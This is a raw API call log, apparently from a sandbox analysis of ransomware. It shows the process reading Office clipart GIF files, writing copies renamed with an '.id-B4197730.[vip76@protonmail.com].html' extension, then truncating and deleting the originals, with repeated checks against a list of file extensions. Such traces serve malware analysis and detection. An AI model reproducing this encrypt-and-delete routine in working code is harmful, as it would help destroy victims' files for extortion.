	[0069.730] CloseHandle (hObject=0x338) returned 1
	[0069.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1
	[0069.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.730] lstrlenW (lpString=".doc") returned 4
	[0069.730] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.730] lstrlenW (lpString=".docx") returned 5
	[0069.730] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.730] lstrlenW (lpString=".pdf") returned 4
	[0069.730] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.730] lstrlenW (lpString=".xls") returned 4
	[0069.730] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.730] lstrlenW (lpString=".xlsx") returned 5
	[0069.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.731] lstrlenW (lpString=".ppt") returned 4
	[0069.731] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.731] lstrlenW (lpString=".zip") returned 4
	[0069.731] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.731] lstrlenW (lpString=".rar") returned 4
	[0069.731] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.731] lstrlenW (lpString=".bz2") returned 4
	[0069.731] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.731] lstrlenW (lpString=".7z") returned 3
	[0069.731] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.731] lstrlenW (lpString=".dbf") returned 4
	[0069.731] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.731] lstrlenW (lpString=".1cd") returned 4
	[0069.731] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.731] lstrlenW (lpString=".jpg") returned 4
	[0069.731] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.731] lstrlenW (lpString=".doc") returned 4
	[0069.731] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.731] lstrlenW (lpString=".docx") returned 5
	[0069.731] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.731] lstrlenW (lpString=".pdf") returned 4
	[0069.731] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.731] lstrlenW (lpString=".xls") returned 4
	[0069.731] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.732] lstrlenW (lpString=".xlsx") returned 5
	[0069.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.732] lstrlenW (lpString=".ppt") returned 4
	[0069.732] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.732] lstrlenW (lpString=".zip") returned 4
	[0069.732] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.732] lstrlenW (lpString=".rar") returned 4
	[0069.732] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.732] lstrlenW (lpString=".bz2") returned 4
	[0069.732] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.732] lstrlenW (lpString=".7z") returned 3
	[0069.732] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.732] lstrlenW (lpString=".dbf") returned 4
	[0069.732] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.732] lstrlenW (lpString=".1cd") returned 4
	[0069.732] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0069.732] lstrlenW (lpString=".jpg") returned 4
	[0069.732] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.732] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.732] lstrlenW (lpString="AG00092_.GIF") returned 12
	[0069.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.733] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=502) returned 1
	[0069.733] CloseHandle (hObject=0x338) returned 1
	[0069.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220
	[0069.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.733] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.733] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.734] GetLastError () returned 0x0
	[0069.734] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1f6, lpOverlapped=0x0) returned 1
	[0069.734] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x200, lpOverlapped=0x0) returned 1
	[0069.736] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.736] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.736] SetEndOfFile (hFile=0x320) returned 1
	[0069.737] CloseHandle (hObject=0x320) returned 1
	[0069.737] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.737] SetEndOfFile (hFile=0x338) returned 1
	[0069.738] CloseHandle (hObject=0x338) returned 1
	[0069.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1
	[0069.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.739] lstrlenW (lpString=".doc") returned 4
	[0069.739] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.739] lstrlenW (lpString=".docx") returned 5
	[0069.739] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.739] lstrlenW (lpString=".pdf") returned 4
	[0069.739] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.739] lstrlenW (lpString=".xls") returned 4
	[0069.739] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.739] lstrlenW (lpString=".xlsx") returned 5
	[0069.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.739] lstrlenW (lpString=".ppt") returned 4
	[0069.739] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.739] lstrlenW (lpString=".zip") returned 4
	[0069.739] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.739] lstrlenW (lpString=".rar") returned 4
	[0069.739] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.739] lstrlenW (lpString=".bz2") returned 4
	[0069.740] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.740] lstrlenW (lpString=".7z") returned 3
	[0069.740] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.740] lstrlenW (lpString=".dbf") returned 4
	[0069.740] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.740] lstrlenW (lpString=".1cd") returned 4
	[0069.740] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.740] lstrlenW (lpString=".jpg") returned 4
	[0069.740] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.740] lstrlenW (lpString=".doc") returned 4
	[0069.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.740] lstrlenW (lpString=".docx") returned 5
	[0069.740] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.740] lstrlenW (lpString=".pdf") returned 4
	[0069.740] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.740] lstrlenW (lpString=".xls") returned 4
	[0069.740] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.740] lstrlenW (lpString=".xlsx") returned 5
	[0069.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.740] lstrlenW (lpString=".ppt") returned 4
	[0069.740] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.740] lstrlenW (lpString=".zip") returned 4
	[0069.740] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.740] lstrlenW (lpString=".rar") returned 4
	[0069.740] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.741] lstrlenW (lpString=".bz2") returned 4
	[0069.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.741] lstrlenW (lpString=".7z") returned 3
	[0069.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.741] lstrlenW (lpString=".dbf") returned 4
	[0069.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.741] lstrlenW (lpString=".1cd") returned 4
	[0069.741] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0069.741] lstrlenW (lpString=".jpg") returned 4
	[0069.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.741] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.741] lstrlenW (lpString="AG00103_.GIF") returned 12
	[0069.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.741] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=12702) returned 1
	[0069.741] CloseHandle (hObject=0x338) returned 1
	[0069.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220
	[0069.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.742] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.742] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.742] GetLastError () returned 0x0
	[0069.742] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x319e, lpOverlapped=0x0) returned 1
	[0069.744] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x31a0, lpOverlapped=0x0) returned 1
	[0069.745] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.745] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.745] SetEndOfFile (hFile=0x320) returned 1
	[0069.745] CloseHandle (hObject=0x320) returned 1
	[0069.746] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.746] SetEndOfFile (hFile=0x338) returned 1
	[0069.747] CloseHandle (hObject=0x338) returned 1
	[0069.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1
	[0069.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.748] lstrlenW (lpString=".doc") returned 4
	[0069.748] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.748] lstrlenW (lpString=".docx") returned 5
	[0069.748] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.748] lstrlenW (lpString=".pdf") returned 4
	[0069.748] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.748] lstrlenW (lpString=".xls") returned 4
	[0069.748] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.748] lstrlenW (lpString=".xlsx") returned 5
	[0069.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.748] lstrlenW (lpString=".ppt") returned 4
	[0069.748] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.748] lstrlenW (lpString=".zip") returned 4
	[0069.748] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.748] lstrlenW (lpString=".rar") returned 4
	[0069.748] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.748] lstrlenW (lpString=".bz2") returned 4
	[0069.748] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.748] lstrlenW (lpString=".7z") returned 3
	[0069.748] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.748] lstrlenW (lpString=".dbf") returned 4
	[0069.748] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.749] lstrlenW (lpString=".1cd") returned 4
	[0069.749] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.749] lstrlenW (lpString=".jpg") returned 4
	[0069.749] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.749] lstrlenW (lpString=".doc") returned 4
	[0069.749] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.749] lstrlenW (lpString=".docx") returned 5
	[0069.749] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.749] lstrlenW (lpString=".pdf") returned 4
	[0069.749] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.749] lstrlenW (lpString=".xls") returned 4
	[0069.749] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.749] lstrlenW (lpString=".xlsx") returned 5
	[0069.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.749] lstrlenW (lpString=".ppt") returned 4
	[0069.749] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.749] lstrlenW (lpString=".zip") returned 4
	[0069.749] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.749] lstrlenW (lpString=".rar") returned 4
	[0069.749] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.749] lstrlenW (lpString=".bz2") returned 4
	[0069.749] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.749] lstrlenW (lpString=".7z") returned 3
	[0069.749] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.749] lstrlenW (lpString=".dbf") returned 4
	[0069.749] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.749] lstrlenW (lpString=".1cd") returned 4
	[0069.750] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0069.750] lstrlenW (lpString=".jpg") returned 4
	[0069.750] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.750] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.750] lstrlenW (lpString="AG00120_.GIF") returned 12
	[0069.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.750] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3484) returned 1
	[0069.750] CloseHandle (hObject=0x338) returned 1
	[0069.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220
	[0069.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.750] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.758] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.758] GetLastError () returned 0x0
	[0069.758] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xd9c, lpOverlapped=0x0) returned 1
	[0070.171] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xda0, lpOverlapped=0x0) returned 1
	[0070.245] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.245] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.245] SetEndOfFile (hFile=0x320) returned 1
	[0070.246] CloseHandle (hObject=0x320) returned 1
	[0070.247] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.247] SetEndOfFile (hFile=0x338) returned 1
	[0070.249] CloseHandle (hObject=0x338) returned 1
